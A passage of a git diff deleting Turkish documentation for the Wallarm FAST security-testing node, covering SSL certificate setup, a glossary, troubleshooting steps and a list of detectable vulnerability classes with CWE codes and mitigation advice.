bağlayın. Bu dizinin içeriği konteyner içinde `` yolunda kullanılabilir hale gelir. - - !!! warning "Not" - `CA_CERT` ve `CA_KEY` ortam değişkenleriyle belirtilen sertifika ve anahtar dosyalarının yolları, `docker run` komutunun `-v` seçeneğiyle belirttiğiniz `` parametresindeki dosyalara işaret etmelidir. - -Artık SSL sertifikanız başarıyla yüklenmiş olmalıdır. FAST node örneğiniz, güvenilmeyen sertifika mesajları olmadan HTTPS isteklerine aracılık edecektir. - - -## SSL Sertifikası Yükleme Örneği - -Aşağıdakilerin geçerli olduğunu varsayalım: -* SSL sertifikasını ve karşılık gelen özel anahtarı içeren `cert.pem` ve `cert.key` dosyaları, FAST node'un başlatıldığı Docker ana makinesindeki `/home/user/certs` dizininde bulunuyor, -* `/home/user/certs` dizininin içeriği, FAST node bulunan konteyner içinde `/tmp/certs` yolunda erişilebilir olacak, -* Token olarak `fast_token` kullanılıyor, -* Ana makine listesinde yalnızca `example.com` var, ve -* FAST node `fast-node` adlı konteynerde çalışacak ve iç bağlantı noktası `8080` `localhost:8080` olarak yayınlanacak, - -bu durumda SSL sertifikasını FAST node'a bağlamak için aşağıdaki komutu çalıştırmalısınız: - -``` -docker run --name fast-node \ --e WALLARM_API_TOKEN="fast_token" \ --e ALLOWED_HOSTS="example.com" \ --e CA_CERT="/tmp/certs/cert.pem" \ --e CA_KEY="/tmp/certs/cert.key" \ --v /home/user/certs:/tmp/certs \ --p 8080:8080 \ -wallarm/fast -``` \ No newline at end of file diff --git a/docs/latest-tr/fast/ssl/intro.md b/docs/latest-tr/fast/ssl/intro.md deleted file mode 100644 index 4146b01814..0000000000 --- a/docs/latest-tr/fast/ssl/intro.md +++ /dev/null @@ -1,28 +0,0 @@ -[link-node-installation]: install-certificate-on-fast-node.md -[link-safari-ssl]: browsers-ssl/safari-ssl.md -[link-chrome-ssl]: browsers-ssl/chrome-ssl.md -[link-edge-ssl]: browsers-ssl/edge-ssl.md -[link-ie11-ssl]: browsers-ssl/ie11-ssl.md -[link-firefox-ssl]: browsers-ssl/firefox-ssl.md - -[img-insecure-connection]: ../../images/fast/qsg/common/deployment/11-qsg-fast-inst-untrusted-cert.png - - -# Giriş - -Bir web uygulamasıyla bir tarayıcı üzerinden HTTPS kullanarak çalışırken, güvenilmeyen bir sertifika hakkında buna benzer bir mesaj görebilirsiniz: - -![Mozilla Firefox'un güvenilmeyen sertifika mesajı][img-insecure-connection] - -FAST node, istemciden gelen HTTPS isteklerini keser ve uzak sunucuya bağlantıyı kendisi başlatır. Tarayıcınızın FAST node sertifikasına güvenmesi gerekir, aksi halde tarayıcı bu durumu ortadaki adam (man-in-the-middle) saldırısı olarak değerlendirir. - -Kullandığınız tarayıcının güvendiği bir sertifikaya FAST node sahip değilse, o tarayıcıdan sunucuya HTTPS istekleri göndermeye çalışmak güvensiz bağlantı uyarısıyla sonuçlanır. - -HTTPS üzerinden web uygulamalarıyla sorunsuz çalışmak için aşağıdaki çözümlerden birini kullanabilirsiniz: -* Tarayıcınızın zaten güvendiği kendi SSL sertifikanız varsa, bunu [FAST node'a ekleyebilirsiniz][link-node-installation]. -* Kendi SSL sertifikanız yoksa, FAST node'un kendinden imzalı kök sertifikasını tarayıcınıza ekleyebilirsiniz. Bunu yapmak için tarayıcınıza uygun talimatları izleyin: - * [Apple Safari][link-safari-ssl] - * [Google Chrome][link-chrome-ssl] - * [Microsoft Edge][link-edge-ssl] - * [Microsoft Internet Explorer 11][link-ie11-ssl] - * [Mozilla Firefox][link-firefox-ssl] \ No newline at end of file diff --git a/docs/latest-tr/fast/terms-glossary.md b/docs/latest-tr/fast/terms-glossary.md deleted file mode 100644 index 053a476475..0000000000 --- a/docs/latest-tr/fast/terms-glossary.md +++ /dev/null @@ -1,112 +0,0 @@ -[doc-points]: dsl/points/intro.md -[doc-internals]: operations/internals.md -[doc-policies]: operations/test-policy/overview.md -[doc-vuln-list]: vuln-list.md - -[vuln-anomaly]: vuln-list.md#anomaly - -# Sözlük - -## Zafiyet - -Zafiyet, bir web uygulaması oluşturulurken veya uygulanırken ihmal ya da yetersiz bilgi nedeniyle yapılan ve bilgi güvenliği riskine yol açabilen bir hatadır. - -Bilgi güvenliği riskleri şunlardır: - -* Yetkisiz veri erişimi; örneğin, kullanıcı verilerini okuma ve değiştirme erişimi. -* Hizmet engelleme. -* Veri bozulması ve diğerleri. - -Zafiyet, İnternet'in bir özelliği değildir. Zafiyet, sisteminizin bir özelliğidir. Zafiyetlerinizin olup olmaması İnternet trafiğinize bağlı değildir. Ancak İnternet trafiği zafiyetleri tespit etmek için kullanılabilir; Wallarm’ın diğer işlevlerinin yanı sıra yaptığı şey de budur. - -## Anomali - -Bir zafiyet [türü][vuln-anomaly]. - -## Hedef Uygulama - -Hedef uygulama, FAST kullanılarak zafiyetler açısından test edilmesi gereken bir web uygulaması veya API’dir. - -**Ayrıca bakınız:** [FAST bileşenleri arasındaki ilişkiler][doc-internals]. - -## İstek Kaynağı - -İstek kaynağı, HTTP ve HTTPS isteklerini kullanarak hedef uygulamayı test edecek bir araçtır. FAST bu istekler temelinde güvenlik test setini oluşturabilir (bkz. “temel istekler”). - -## Güvenlik Test Seti - -Güvenlik test seti, hedef uygulamadaki zafiyetlerin ortaya çıkarılmasını sağlar. -Her güvenlik testi bir veya daha fazla test isteğinden oluşur. - -## Test İstekleri - -Test istekleri, hedef uygulamaya gönderilecek HTTP ve HTTPS istekleridir. Oluşturulan istekler bir zafiyeti tetikleme olasılığı yüksek olan isteklere örnektir. - -Bu tür istekler, test politikasını karşılayan temel istekler temel alınarak FAST tarafından oluşturulur. - -## FAST Node - -FAST node, FAST bileşenlerinden biridir. - -Node, HTTP ve HTTPS isteklerini proxy’ler ve temel isteklere dayanarak güvenlik testleri oluşturur. - -Buna ek olarak, FAST node güvenlik testlerini yürütür. Başka bir deyişle, node, uygulamanın yanıtını kontrol etmek ve uygulamada güvenlik zafiyeti olup olmadığını belirlemek için test isteklerini hedef uygulamaya gönderir. - -## Wallarm Cloud - -Wallarm Cloud, FAST bileşenlerinden biridir. -Bulut, test politikaları oluşturmak, test yürütme sürecini yönetmek ve test sonuçlarını gözlemlemek için kullanıcıya bir arayüz sağlar. - -**Ayrıca bakınız:** -* [FAST bileşenleri arasındaki ilişkiler][doc-internals], -* [test politikalarıyla çalışma][doc-policies]. - - -## Temel istekler - -Temel istekler, istek kaynağından hedef uygulamaya yönlendirilen HTTP ve HTTPS istekleridir. -FAST, güvenlik testlerini bu istekler temelinde oluşturur. - -FAST node üzerinden proxy’lenen fakat temel istek olmayan tüm istekler, test seti oluşturma sürecinde kaynak olarak kullanılmayacaktır. - -## Test Çalıştırması - -Bir test çalıştırması, FAST kullanılarak yapılan zafiyet test sürecinin tek bir yinelemesini tanımlar. - -Test çalıştırması, bir test politikasını bir FAST node’a iletir. Politika, hangi temel isteklerin güvenlik testlerine temel olacağını tanımlar. - -Her test çalıştırması, bir token aracılığıyla tek bir FAST node ile sıkı biçimde ilişkilendirilir. - -## Test Politikası - -Test politikası, zafiyet tespit sürecinin hangi kurallara göre yürütüleceğini belirleyen kurallar bütünüdür. Özellikle, uygulamanın hangi zafiyet türlerine karşı test edileceğini seçebilirsiniz. Buna ek olarak, politika, bir güvenlik test seti oluşturulurken temel istekteki hangi parametrelerin değiştirilebileceğini belirler. Bu veriler, hedef uygulamanın sömürülebilir olup olmadığını anlamak için kullanılan test isteklerini oluşturmak amacıyla FAST node tarafından kullanılır. - -**Ayrıca bakınız:** -* [FAST bileşenleri arasındaki ilişkiler][doc-internals], -* [test politikalarıyla çalışma][doc-policies]. - -## Temel İstek Öğesi - -Bir istek öğesi, temel bir isteğin parçasıdır. -Öğe örnekleri: - -* HTTP üstbilgisi, -* HTTP yanıt gövdesi, -* GET parametreleri, -* POST parametreleri. - -## Nokta - -Nokta, temel isteğin bir öğesini işaret eden bir dizgedir. Bu dizge, gerekli veriyi elde etmek için temel isteğe uygulanması gereken ayrıştırıcı ve filtre adlarının bir diziliminden oluşur. - -Noktalar daha ayrıntılı olarak [burada][doc-points] açıklanmıştır. - -## Token - -Token, aşağıdaki amaçlara hizmet eden benzersiz ve gizli bir tanımlayıcıdır: -* Bir test çalıştırmasını FAST node ile ilişkilendirmek. -* Bir test çalıştırması oluşturmak ve yönetmek. - -Token, FAST node’un temel özelliklerinden biridir. - -**Ayrıca bakınız:** [FAST bileşenleri arasındaki ilişkiler][doc-internals]. \ No newline at end of file diff --git a/docs/latest-tr/fast/tshoot.md b/docs/latest-tr/fast/tshoot.md deleted file mode 100644 index 9ad3203788..0000000000 --- a/docs/latest-tr/fast/tshoot.md +++ /dev/null @@ -1,65 +0,0 @@ -[doc-allowed-host]: operations/env-variables.md#limiting-the-number-of-requests-to-be-recorded -[doc-ssl]: ssl/intro.md -[link-token]: operations/internals.md#token - -# Sorun Giderme - -## Yaygın Sorunlar ve Nasıl Çözülür - -**Ne yapmalı, eğer...** - -* **...FAST düğümü konsol çıktısında aşağıdaki mesajlardan birini gösteriyorsa?** - ---8<-- "../include/fast/console-include/tshoot/request-timeout.md" - - veya - ---8<-- "../include/fast/console-include/tshoot/access-denied.md" - - **Çözüm:** şu hususlardan emin olun: - - * FAST düğümü ve ilgili Docker host'unun internet erişimi vardır (özellikle Wallarm API sunucuları `api.wallarm.com` ve `us1.api.wallarm.com` adreslerine `TCP/443` üzerinden erişilebilmelidir) ve - * doğru [belirteç][link-token] değerini kullanıyor ve uygun Wallarm API sunucusuyla iletişim kuruyorsunuz. FAST'in, API sunucularına bağlanmak için bulutun Avrupa’da mı yoksa Amerika’da mı olduğuna bağlı olarak *farklı* belirteçler kullandığını unutmayın. - -* **...bir istek kaynağı FAST düğümünün öz‑imzalı SSL sertifikasına güvenmiyorsa?** - - **Çözüm:** [bu talimatlarda][doc-ssl] listelenen yöntemlerden herhangi birini kullanarak güvenilir bir SSL sertifikası kurun. - -* **...FAST düğümü çalışır durumda ancak temel (baseline) istekler kaydedilmiyorsa?** - - **Çözüm:** aşağıdakileri kontrol edin: - - * İstek kaynağı, FAST düğümünü bir proxy sunucusu olarak kullanacak şekilde yapılandırılmıştır ve bağlanmak için düğümün doğru port, alan adı veya IP adresi verilmiştir. - * İstek kaynağı, kullandığı her protokol için FAST düğümünü proxy sunucusu olarak kullanmaktadır (yaygın bir durum: FAST düğümü HTTP proxy olarak kullanılırken istek kaynağı HTTPS istekleri göndermeye çalışır). - * [`ALLOWED_HOST`][doc-allowed-host] ortam değişkeni doğru yapılandırılmıştır. - -* **...FAST testleri veya özel uzantılar FAST düğümünde çalışmıyorsa?** - - **Çözüm:** FAST düğümünün temel istekleri kaydettiğini ve bu temel isteklerin düğümün kullandığı test politikasına uygun olduğunu kontrol edin. - -## Destek Ekibiyle İletişime Geçme - -Yukarıdaki listede sorununuzu bulamıyor veya çözümü yararlı bulmuyorsanız, Wallarm destek ekibiyle iletişime geçin. - -[Bir e‑posta yazabilir](mailto:support@wallarm.com) veya Wallarm portalındaki formu doldurabilirsiniz. Portal üzerinden geri bildirim göndermek için şunları yapın: - -* Portalın sağ üst köşesindeki soru işaretine tıklayın. -* Açılan kenar çubuğunda “Wallarm Support” girdisini seçin. -* Bir e‑posta yazıp gönderin. - -## Tanılama Verilerini Toplama - -Wallarm destek ekibinden bir kişi FAST düğümüyle ilgili bazı tanılama verilerini toplamanızı isteyebilir. - -Birkaç ortam değişkeni ayarlayın ve verileri toplamak için aşağıdaki komutları çalıştırın (tanılama verilerini almak istediğiniz FAST düğümü konteynerinin gerçek adıyla `` ifadesini değiştirin): - -``` -FAST_IMAGE_VERSION=`docker image inspect wallarm/fast | grep version | tail -n1 | awk '{print $2}' | sed 's/"//g'` -TIMESTAMP=`/bin/date +%d.%m.%y_%H-%M-%S` - -docker exec -e IMAGE_VERSION=$FAST_IMAGE_VERSION /usr/local/bin/collect_info_fast.sh - -docker cp :/opt/diag/fast_supout.tar.gz fast_supout-$TIMESTAMP.tar.gz -``` - -Bu komutlar başarıyla çalıştırıldıktan sonra tanılama verileri Docker host'unda `fast_supout-$TIMESTAMP.tar.gz` arşivine yerleştirilecektir. Arşiv adındaki `$TIMESTAMP`, toplama zamanını temsil eder. \ No newline at end of file diff --git a/docs/latest-tr/fast/vuln-list.md b/docs/latest-tr/fast/vuln-list.md deleted file mode 100644 index 130b0214c1..0000000000 --- a/docs/latest-tr/fast/vuln-list.md +++ /dev/null @@ -1,335 +0,0 @@ ---- -description: Bu belge, FAST'in tespit ettiği yazılım güvenlik açıklarını listeler. Listedeki her öğe, bu güvenlik açığına karşılık gelen Wallarm kodunu içerir. Çoğu güvenlik açığı, CWE kodlarıyla da desteklenmiştir. ---- - -[cwe-22]: https://cwe.mitre.org/data/definitions/22.html -[cwe-78]: https://cwe.mitre.org/data/definitions/78.html -[cwe-79]: https://cwe.mitre.org/data/definitions/79.html -[cwe-89]: https://cwe.mitre.org/data/definitions/89.html -[cwe-90]: https://cwe.mitre.org/data/definitions/90.html -[cwe-94]: https://cwe.mitre.org/data/definitions/94.html -[cwe-159]: https://cwe.mitre.org/data/definitions/159.html -[cwe-200]: https://cwe.mitre.org/data/definitions/200.html -[cwe-209]: https://cwe.mitre.org/data/definitions/209.html -[cwe-215]: https://cwe.mitre.org/data/definitions/215.html -[cwe-288]: https://cwe.mitre.org/data/definitions/288.html -[cwe-352]: https://cwe.mitre.org/data/definitions/352.html -[cwe-538]: https://cwe.mitre.org/data/definitions/538.html -[cwe-541]: https://cwe.mitre.org/data/definitions/541.html -[cwe-548]: https://cwe.mitre.org/data/definitions/548.html -[cwe-601]: https://cwe.mitre.org/data/definitions/601.html -[cwe-611]: https://cwe.mitre.org/data/definitions/611.html -[cwe-639]: https://cwe.mitre.org/data/definitions/639.html -[cwe-918]: https://cwe.mitre.org/data/definitions/918.html -[cwe-943]: https://cwe.mitre.org/data/definitions/943.html - -[link-cwe]: https://cwe.mitre.org/ - -[link-owasp-csrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html -[link-owasp-xxe-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html -[link-owasp-xss-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html -[link-owasp-idor-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html -[link-owasp-ssrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html -[link-owasp-auth-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html -[link-owasp-ldapi-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html -[link-owasp-sqli-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html - -[link-ptrav-mitigation]: https://owasp.org/www-community/attacks/Path_Traversal - -[anchor-vuln-list]: #vulnerabilities-list - -[anchor-rce]: #remote-code-execution-rce -[anchor-ssrf]: #server-side-request-forgery-ssrf - -# FAST tarafından Tespit Edilebilen Güvenlik Açıkları - -Bu belge, FAST'in tespit ettiği yazılım güvenlik açıklarını listeler. Listedeki her öğe, bu güvenlik açığına karşılık gelen [Common Weakness Enumeration (CWE)][link-cwe] kodlarıyla da çoğunlukla birlikte gelir. - -Listedeki her öğe, bu güvenlik açığına karşılık gelen Wallarm kodunu içerir. - -## Güvenlik Açıkları Listesi - -### Anomali - -**CWE kodu:** yok
              -**Wallarm kodu:** `anomaly` - -#### Açıklama - -Anomali, uygulamanın aldığı bir isteğe alışılmadık bir tepki vermesiyle karakterize edilir. - -Tespit edilen anomali, uygulamanın zayıf ve potansiyel olarak savunmasız bir alanını gösterir. Bu güvenlik açığı, bir saldırganın uygulamaya doğrudan saldırmasına veya saldırıdan önce veri toplamasına izin verir. - -### XML External Entity (XXE) Saldırısı - -**CWE kodu:** [CWE-611][cwe-611]
              -**Wallarm kodu:** `xxe` - -#### Açıklama - -XXE güvenlik açığı, bir saldırganın bir XML belgesine harici bir varlık enjekte etmesine, bunun bir XML ayrıştırıcısı tarafından değerlendirilmesine ve ardından hedef web sunucusunda yürütülmesine olanak tanır. - -Başarılı bir saldırının sonucunda, bir saldırgan -* web uygulamasının gizli verilerine erişim elde edebilir -* dahili veri ağlarını tarayabilir -* web sunucusunda bulunan dosyaları okuyabilir -* bir [SSRF][anchor-ssrf] saldırısı gerçekleştirebilir -* Hizmet Reddi (DoS) saldırısı gerçekleştirebilir - -Bu güvenlik açığı, bir web uygulamasında XML harici varlıklarının ayrıştırılmasına yönelik kısıtlamaların bulunmaması nedeniyle ortaya çıkar. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Kullanıcı tarafından sağlanan XML belgeleriyle çalışırken XML harici varlıklarının ayrıştırılmasını devre dışı bırakın. -* [OWASP XXE Prevention Cheat Sheet][link-owasp-xxe-cheatsheet] içindeki önerileri uygulayın. - - -### Sunucu Taraflı Şablon Enjeksiyonu (SSTI) - -**CWE kodları:** [CWE-94][cwe-94], [CWE-159][cwe-159]
              -**Wallarm kodu:** `ssti` - -#### Açıklama - -SSTI saldırılarına karşı savunmasız bir web sunucusundaki kullanıcı tarafından doldurulan bir forma bir saldırgan yürütülebilir kod enjekte edebilir; böylece bu kod web sunucusu tarafından ayrıştırılır ve yürütülür. - -Başarılı bir saldırı, savunmasız bir web sunucusunun tamamen ele geçirilmesine yol açabilir; bu da bir saldırgana keyfi istekler yürütme, sunucunun dosya sistemlerini keşfetme ve belirli koşullar altında uzaktan keyfi kod çalıştırma (ayrıntılar için bkz. [“RCE saldırısı”][anchor-rce]) gibi birçok şeyi yapma imkânı verebilir. - -Bu güvenlik açığı, kullanıcı girdisinin hatalı doğrulanması ve ayrıştırılmasından kaynaklanır. - -#### Giderme - -Girdi içerisindeki varlıkların yürütülmesini engellemek için tüm kullanıcı girdilerini temizleme ve filtreleme önerisini uygulayabilirsiniz. - - -### Cross-Site Request Forgery (CSRF) - -**CWE kodu:** [CWE-352][cwe-352]
              -**Wallarm kodu:** `csrf` - -#### Açıklama - -Bir CSRF saldırısı, bir saldırganın meşru bir kullanıcı adına savunmasız bir uygulamaya istek göndermesine olanak tanır. - -İlgili güvenlik açığı, kullanıcının tarayıcısının, siteler arası istek yapılırken hedef alan adı için ayarlanmış çerezleri otomatik olarak eklemesi nedeniyle ortaya çıkar. - -Sonuç olarak, saldırgan, savunmasız web uygulamasına, savunmasız sitede kimliği doğrulanmış meşru bir kullanıcı gibi davranarak kötü amaçlı bir web sitesinden istek gönderebilir; saldırganın bu kullanıcının çerezlerine erişmesine bile gerek yoktur. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* CSRF belirteçleri ve diğerleri gibi anti-CSRF koruma mekanizmalarını kullanın. -* `SameSite` çerez özniteliğini ayarlayın. -* [OWASP CSRF Prevention Cheat Sheet][link-owasp-csrf-cheatsheet] içindeki önerileri uygulayın. - - -### Cross-site Scripting (XSS) - -**CWE kodu:** [CWE-79][cwe-79]
              -**Wallarm kodu:** `xss` - -#### Açıklama - -Bir cross-site scripting saldırısı, bir saldırganın bir kullanıcının tarayıcısında hazırlanmış keyfi kod yürütmesine olanak tanır. - -Birkaç XSS saldırı türü vardır: -* Kalıcı (Stored) XSS: Kötü amaçlı kodun web uygulamasının sayfasına önceden gömülmesidir. - - Web uygulaması kalıcı XSS saldırısına karşı savunmasızsa, bir saldırganın web uygulamasının HTML sayfasına kötü amaçlı kod enjekte etmesi mümkündür; dahası, bu kod kalıcı olur ve bulaşmış web sayfasını isteyen herhangi bir kullanıcının tarayıcısı tarafından yürütülür. - -* Yansıtılan (Reflected) XSS: Bir saldırganın bir kullanıcıyı özel olarak hazırlanmış bir bağlantıyı açması için kandırmasıdır. - -* DOM tabanlı XSS: Web uygulamasının sayfasına gömülü bir JavaScript kod parçasının giriş verisini ayrıştırması ve bu kod parçasındaki hatalar nedeniyle bunu bir JavaScript komutu olarak yürütmesidir. - -Yukarıda listelenen güvenlik açıklarından herhangi birinin istismarı, keyfi bir JavaScript kodunun yürütülmesine yol açar. XSS saldırısının başarılı olması durumunda, bir saldırgan bir kullanıcının oturumunu veya kimlik bilgilerini çalabilir, kullanıcı adına istekler yapabilir ve diğer kötü niyetli eylemleri gerçekleştirebilir. - -Bu güvenlik açığı sınıfı, kullanıcı girdisinin hatalı doğrulanması ve ayrıştırılmasından kaynaklanır. - - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Girdi içerisindeki varlıkların yürütülmesini engellemek için bir web uygulamasının aldığı tüm giriş parametrelerini temizleyin ve filtreleyin. -* Web uygulamasının sayfalarını oluştururken, dinamik olarak oluşturulan tüm varlıkları temizleyin ve kaçışlayın. -* [OWASP XXS Prevention Cheat Sheet][link-owasp-xss-cheatsheet] içindeki önerileri uygulayın. - - -### Insecure Direct Object References (IDOR) - -**CWE kodu:** [CWE-639][cwe-639]
              -**Wallarm kodu:** `idor` - -#### Açıklama - -IDOR güvenlik açığında, savunmasız bir web uygulamasının kimlik doğrulama ve yetkilendirme mekanizmaları, bir kullanıcının başka bir kullanıcının verilerine veya kaynaklarına erişmesini engellemez. - -Bu güvenlik açığı, web uygulamasının, isteğin bir kısmını değiştirerek bir nesneye (ör. bir dosya, bir dizin, bir veritabanı kaydı) erişim imkânı vermesi ve uygun erişim kontrol mekanizmalarını uygulamaması nedeniyle ortaya çıkar. - -Bu güvenlik açığını istismar etmek için, bir saldırgan istek dizgesini manipüle ederek, ya savunmasız web uygulamasına ya da kullanıcılarına ait gizli bilgilere yetkisiz erişim sağlar. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Web uygulamasının kaynakları için uygun erişim kontrol mekanizmalarını uygulayın. -* Kullanıcılara atanan rollere dayalı olarak kaynaklara erişim vermek için rol tabanlı erişim kontrol mekanizmalarını uygulayın. -* Dolaylı nesne referansları kullanın. -* [OWASP IDOR Prevention Cheat Sheet][link-owasp-idor-cheatsheet] içindeki önerileri uygulayın. - - -### Açık Yönlendirme - -**CWE kodu:** [CWE-601][cwe-601]
              -**Wallarm kodu:** `redir` - -#### Açıklama - -Bir saldırgan, meşru bir web uygulaması aracılığıyla bir kullanıcıyı kötü amaçlı bir web sayfasına yönlendirmek için açık yönlendirme saldırısını kullanabilir. - -Bu saldırıya karşı savunmasızlık, URL girdilerinin hatalı filtrelenmesi nedeniyle oluşur. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Girdi içerisindeki varlıkların yürütülmesini engellemek için bir web uygulamasının aldığı tüm giriş parametrelerini temizleyin ve filtreleyin. -* Tüm bekleyen yönlendirmeler hakkında kullanıcıları bilgilendirin ve açık izin isteyin. - - -### Sunucu Taraflı İstek Sahteciliği (SSRF) - -**CWE kodu:** [CWE-918][cwe-918]
              -**Wallarm kodu:** `ssrf` - -#### Açıklama - -Başarılı bir SSRF saldırısı, bir saldırganın saldırıya uğrayan web sunucusu adına istekler yapmasına izin verebilir; bu da potansiyel olarak savunmasız web uygulamasının kullanılan ağ portlarının açığa çıkmasına, dahili ağların taranmasına ve yetkilendirmenin atlatılmasına yol açar. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Girdi içerisindeki varlıkların yürütülmesini engellemek için bir web uygulamasının aldığı tüm giriş parametrelerini temizleyin ve filtreleyin. -* [OWASP SSRF Prevention Cheat Sheet][link-owasp-ssrf-cheatsheet] içindeki önerileri uygulayın. - - -### Bilgi İfşası - -**CWE kodları:** [CWE-200][cwe-200] (ayrıca bkz.: [CWE-209][cwe-209], [CWE-215][cwe-215], [CWE-538][cwe-538], [CWE-541][cwe-541], [CWE-548][cwe-548])
              -**Wallarm kodu:** `info` - -#### Açıklama - -Savunmasız web uygulaması, gizli bilgileri erişim yetkisi olmayan bir özneye kasıtlı veya kasıtsız olarak açıklar. - -#### Giderme - -Bir web uygulamasının herhangi bir gizli bilgiyi görüntüleme yeteneğine sahip olmasını yasaklama önerisini uygulayabilirsiniz. - - -### Uzaktan Kod Yürütme (RCE) - -**CWE kodları:** [CWE-78][cwe-78], [CWE-94][cwe-94] ve diğerleri
              -**Wallarm kodu:** `rce` - -#### Açıklama - -Bir saldırgan, bir web uygulamasına yapılan bir isteğe kötü amaçlı kod enjekte edebilir ve uygulama bu kodu yürütür. Ayrıca saldırgan, savunmasız web uygulamasının çalıştığı işletim sistemi için belirli komutları yürütmeye çalışabilir. - -Bir RCE saldırısının başarılı olması durumunda, bir saldırgan aşağıdakiler de dâhil olmak üzere geniş bir yelpazede eylemler gerçekleştirebilir: -* Savunmasız web uygulamasının verilerinin gizliliğinin, erişilebilirliğinin ve bütünlüğünün tehlikeye atılması. -* Web uygulamasının çalıştığı işletim sistemi ve sunucunun kontrolünün ele geçirilmesi. -* Diğer olası eylemler. - -Bu güvenlik açığı, kullanıcı girdisinin hatalı doğrulanması ve ayrıştırılmasından kaynaklanır. - -#### Giderme - -Girdi içerisindeki varlıkların yürütülmesini engellemek için tüm kullanıcı girdilerini temizleme ve filtreleme önerisini uygulayabilirsiniz. - - -### Kimlik Doğrulamayı Atlatma - -**CWE kodu:** [CWE-288][cwe-288]
              -**Wallarm kodu:** `auth` - -#### Açıklama - -Bir web uygulamasında kimlik doğrulama mekanizmaları bulunsa da, ana kimlik doğrulama mekanizmasını atlamaya veya onun zayıflıklarını kullanmaya izin veren alternatif kimlik doğrulama yöntemleri bulunabilir. Bu faktörlerin kombinasyonu, bir saldırganın kullanıcı veya yönetici izinleriyle erişim elde etmesiyle sonuçlanabilir. - -Başarılı bir kimlik doğrulamayı atlatma saldırısı, kullanıcıların gizli bilgilerinin ifşa edilmesine veya yönetici izinleriyle savunmasız uygulamanın kontrolünün ele geçirilmesine yol açabilir. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Mevcut kimlik doğrulama mekanizmalarını iyileştirin ve güçlendirin. -* Önceden tanımlı mekanizmalar aracılığıyla gerekli kimlik doğrulama prosedurunu atlayarak uygulamaya erişime izin verebilecek tüm alternatif kimlik doğrulama yöntemlerini ortadan kaldırın. -* [OWASP Authentication Cheat Sheet][link-owasp-auth-cheatsheet] içindeki önerileri uygulayın. - - -### LDAP Enjeksiyonu - -**CWE kodu:** [CWE-90][cwe-90]
              -**Wallarm kodu:** `ldapi` - -#### Açıklama - -LDAP enjeksiyonları, bir saldırganın bir LDAP sunucusuna yapılan istekleri değiştirerek LDAP arama filtrelerini değiştirmesine izin veren bir saldırı sınıfını temsil eder. - -Başarılı bir LDAP enjeksiyonu saldırısı, LDAP kullanıcıları ve ana bilgisayarları hakkındaki gizli verilere okuma ve yazma işlemleri için erişim sağlayabilir. - -Bu güvenlik açığı, kullanıcı girdisinin hatalı doğrulanması ve ayrıştırılmasından kaynaklanır. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Girdi içerisindeki varlıkların yürütülmesini engellemek için bir web uygulamasının aldığı tüm giriş parametrelerini temizleyin ve filtreleyin. -* [OWASP LDAP Injection Prevention Cheat Sheet][link-owasp-ldapi-cheatsheet] içindeki önerileri uygulayın. - - -### NoSQL Enjeksiyonu - -**CWE kodu:** [CWE-943][cwe-943]
              -**Wallarm kodu:** `nosqli` - -#### Açıklama - -Bu saldırıya karşı savunmasızlık, kullanıcı girdisinin yetersiz şekilde filtrelenmesi nedeniyle ortaya çıkar. Bir NoSQL enjeksiyonu saldırısı, NoSQL veritabanına özel olarak hazırlanmış bir sorgunun enjekte edilmesiyle gerçekleştirilir. - -#### Giderme - -Girdi içerisindeki varlıkların yürütülmesini engellemek için tüm kullanıcı girdilerini temizleme ve filtreleme önerisini uygulayabilirsiniz. - - -### Yol Geçişi (Path Traversal) - -**CWE kodu:** [CWE-22][cwe-22]
              -**Wallarm kodu:** `ptrav` - -#### Açıklama - -Bir yol geçişi saldırısı, bir saldırganın, savunmasız web uygulamasının bulunduğu dosya sisteminde depolanan gizli verileri içeren dosya ve dizinlere, web uygulamasının parametreleri aracılığıyla mevcut yolları değiştirerek erişmesine olanak tanır. - -Bu saldırıya karşı savunmasızlık, bir kullanıcının web uygulaması aracılığıyla bir dosya veya dizin talep ettiğinde kullanıcı girdisinin yetersiz şekilde filtrelenmesi nedeniyle ortaya çıkar. - -#### Giderme - -Aşağıdaki önerileri uygulayabilirsiniz: -* Girdi içerisindeki varlıkların yürütülmesini engellemek için bir web uygulamasının aldığı tüm giriş parametrelerini temizleyin ve filtreleyin. -* Bu tür saldırıların hafifletilmesine yönelik ek öneriler [burada][link-ptrav-mitigation] mevcuttur. - - -### SQL Enjeksiyonu - -**CWE kodu:** [CWE-89][cwe-89]
